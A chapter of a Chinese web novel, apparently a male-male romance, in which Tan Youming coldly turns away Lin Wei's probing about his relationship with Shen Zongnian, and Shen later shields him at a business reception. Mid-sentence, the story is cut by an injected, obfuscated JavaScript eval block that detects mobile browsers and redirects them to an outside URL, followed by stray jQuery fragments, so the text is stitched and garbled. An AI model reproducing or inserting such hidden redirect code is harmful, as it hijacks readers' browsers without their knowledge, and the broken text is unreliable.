深秋的晨光透过百叶窗。在办公室地板上投下细长的光带。
谭又明坐在办公桌后。手指快速敲击着键盘。处理着前一天积压的邮件。桌上的咖啡散发着氤氲的热气。
内线电话响起。他随手按下免提。
“谭总。楼下有位林薇小姐想见您。没有预约。”前台的声音带着一丝迟疑。
谭又明敲击键盘的手指顿了一下。眉头微蹙。
林薇？
自从上次马会和法餐厅之后。他们已经很久没有联系了。谭又明也明确跟父母表明过态度。没想到她会直接找到公司来。
他沉吟片刻。
“请她到三号会客室。我马上过去。”
三号会客室在相对僻静的角落。私密性较好。
谭又明整理了一下领带。起身走了过去。
推开会客室的门。林薇正坐在沙发上。手里端着一杯水。听到动静。她抬起头。脸上带着恰到好处的微笑。但眼神里有一丝不易察觉的紧张。
“谭少。冒昧来访。打扰了。”
“林小姐。请坐。”谭又明在她对面的沙发坐下。语气客气而疏离。“不知道找我有什么事？”
林薇放下水杯。双手交叠放在膝盖上。姿态依旧优雅。但指尖微微用力。
“其实……也没什么特别的事。”她斟酌着措辞。“就是听说前段时间。沈氏集团和谭少这边遇到了一些麻烦。有些担心。所以过来看看。”
她的语气带着关切。但谭又明敏锐地捕捉到了她话语里试探的意味。
他不动声色。“谢谢林小姐关心。一点小风波而已。已经解决了。”
“那就好。”林薇笑了笑。笑容却有些勉强。“看到谭少在发布会上的表现……真的很令人钦佩。没想到谭少对沈先生……如此情深义重。”
她的话听起来像是恭维。但谭又明却听出了一丝别的味道。
他没有接话。只是静静地看着她。等待她的下文。
林薇被他看得有些不安。下意识地避开了他的视线。端起水杯喝了一口。像是在掩饰什么。
会客室里陷入短暂的沉默。
“谭少。”她再次开口。声音低了一些。“我知道我可能有些唐突。但是……有些话。我还是想当面问清楚。”
她抬起头。目光直视着谭又明。带着一种破釜沉舟般的决心。
“你和沈先生……是认真的吗？不是一时冲动？或者……因为别的什么原因？”
谭又明的脸色冷了下来。
“林小姐。我不太明白你的意思。”
林薇咬了咬嘴唇。“我的意思是……你们这样的关系。在海市……在圈子里。会面对很多非议和压力。你真的想清楚了吗？为了他。值得吗？”
她的语气带着急切。甚至有一丝不易察觉的……不甘？
谭又明忽然明白了。
林薇今天来。所谓的关心是假。打探虚实。甚至可能还存着一点不该有的心思。才是真。
他靠在沙发背上。目光平静地看着她。嘴角勾起一丝淡淡的。带着冷意的弧度。
“林小姐。我想你搞错了几件事。”
他的声音不高。却带着一种不容置疑的坚定。
“第一。我和宗年在一起。是因为我们彼此相爱。除此之外。没有任何其他原因。”
“第二。值不值得。不是由外人来评判的。只要我觉得值得。那就值得。”
“第三。”他顿了顿。目光变得锐利起来。“这是我们两个人之间的事。不劳外人费心。”
他每一个字都说得清晰而缓慢。像锤子一样敲在林薇心上。
林薇的脸色瞬间变得苍白。她张了张嘴。想说什么。却发现自己发不出任何声音。
谭又明站起身。居高临下地看着她。眼神里没有了刚才的客气。只剩下冰冷的疏离。
“林小姐。如果没有其他事的话。我还有个会要开。”
这是逐客令了。
林薇僵硬地站起身。脸上红一阵白一阵。精心维持的优雅几乎荡然无存。
“我……我知道了。”她声音干涩。“抱歉。打扰了。”
她几乎是落荒而逃般地离开了会客室。
谭又明看着她仓促的背影。眉头依旧没有舒展。
他并不在意林薇怎么想。但他厌恶这种被人揣度和试探的感觉。
尤其是。牵扯到沈宗年。
他拿出手机。想给沈宗年发个消息。手指在屏幕上停顿了片刻。又收了回去。
这点小事。没必要让他烦心。
他深吸一口气。将刚才那点不愉快抛到脑后。重新投入到工作中。
然而。树欲静而风不止。
几天后的一个商业酒会上。
衣香鬓影。觥筹交错。
谭又明和几个相熟的朋友站在角落闲聊。沈宗年则在不远处和一位世伯谈事情。
林薇和她父母也出现在了酒会上。
看到谭又明。林薇的眼神闪烁了一下。下意识地想避开。却被她母亲拉着。朝他们这个方向走了过来。
“又明啊。好久不见。”林母脸上堆着热情的笑容。目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760575|190132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却有意无意地瞟向沈宗年的方向。“这位就是沈先生吧？果然一表人才。难怪……”
她的话没说完。但那股打量的意味和未尽的暧昧。让谭又明的脸色瞬间沉了下来。
他身边的几个朋友也察觉到了气氛不对。交换着眼神。没有接话。
林薇站在母亲身后。低着头。脸色尴尬。
谭又明正要开口。一个低沉的声音先一步响起。
“林太太。”
沈宗年不知何时走了过来。自然地站到谭又明身边。手臂看似随意地搭在他身后的椅背上。形成一个保护的姿态。
他的目光平静地落在林母身上。没什么表情。却带着一种无形的压力。
“犬子与又明是至交。承蒙谭家多年照顾。”他语气淡漠。直接将关系定性在“至交”和“世交”的层面。滴水不漏。“林太太过誉了。”
林母被他这四两拨千斤的态度噎了一下。脸上的笑容有些挂不住。
“是是是。沈先生年轻有为。又明也是我们看着长大的。都是好孩子……”她讪讪地附和着。不敢再乱说话。
沈宗年微微颔首。不再看她。转而看向谭又明。声音柔和了几分。
“时间不早了。我们是不是该去和李董打个招呼？”
“好。”谭又明立刻点头。
两人默契地转身。朝着另一个方向走去。将林母和她那未尽的试探彻底晾在了身后。
走出一段距离。谭又明才低声说。
“谢了。”
沈宗年侧头看他。“谢什么。”
“谢你帮我解围啊。”谭又明撇撇嘴。“那个林太太。话里话外的意思。听着就烦。”
沈宗年停下脚步。看着他。目光深沉。
“又明。”
“嗯？”
“以后遇到这种事。直接走开就好。”沈宗年的语气很平静。却带着一种不容置疑的意味。“不必浪费时间。也不必……委屈自己。”
谭又明愣了一下。随即心里涌起一股暖流。
他看着沈宗年。看着他眼底那片只属于自己的温柔和护短。忍不住弯起了嘴角。
“知道啦。”他凑近他。用只有两人能听到的声音说。“有你在。我才不会委屈。”
沈宗年眼底漾开一丝极淡的笑意。伸手轻轻捏了捏他的后颈。
“走吧。”
两人并肩融入人群。
灯光流转。映照着他们般配的身影。
而那些无关紧要的人和事。如同投入湖面的小石子。激起些许涟漪后。终将归于平静。